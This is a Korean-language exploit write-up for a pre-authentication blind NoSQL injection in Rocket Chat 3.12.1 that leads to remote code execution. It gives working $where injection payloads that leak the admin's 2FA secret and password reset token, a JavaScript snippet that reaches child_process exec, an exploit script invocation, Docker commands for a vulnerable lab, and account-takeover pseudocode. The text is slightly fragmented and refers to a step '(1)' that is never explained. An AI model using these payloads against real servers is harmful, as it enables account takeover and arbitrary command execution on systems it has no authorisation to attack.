
Rocket Chat 3.12.1에서 인증 전 블라인드 NoSQL 인젝션으로 인한 원격 코드 실행
인증 전 블라인드 NoSQL 인젝션으로 인한 Rocket Chat 3.12.1의 원격 코드 실행
따라서 관리자 사용자는 대부분 2fa로 보호될 가능성이 높습니다. (1)을 통해 관리자 비밀번호를 변경하더라도 로그인 시 2fa 코드를 요구합니다.
users.list API 엔드포인트는 nosql 인젝션에 취약한 쿼리 매개변수를 사용합니다. 오류를 발생시켜 데이터를 검색할 수도 있습니다.
관리자의 2fa 비밀을 얻기 위해 다음 쿼리를 실행합니다: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
그런 다음 (1)을 수행하여 관리자 비밀번호를 재설정하고, 얻은 2fa 비밀을 사용하여 로그인 코드를 생성합니다.
업데이트: 2fa 비밀을 검색한 것과 동일한 방식으로 재설정 토큰도 검색할 수 있습니다: {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
참고: 관리자를 2FA로 보호하지 않으려면 다음을 수행할 수 있습니다.
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)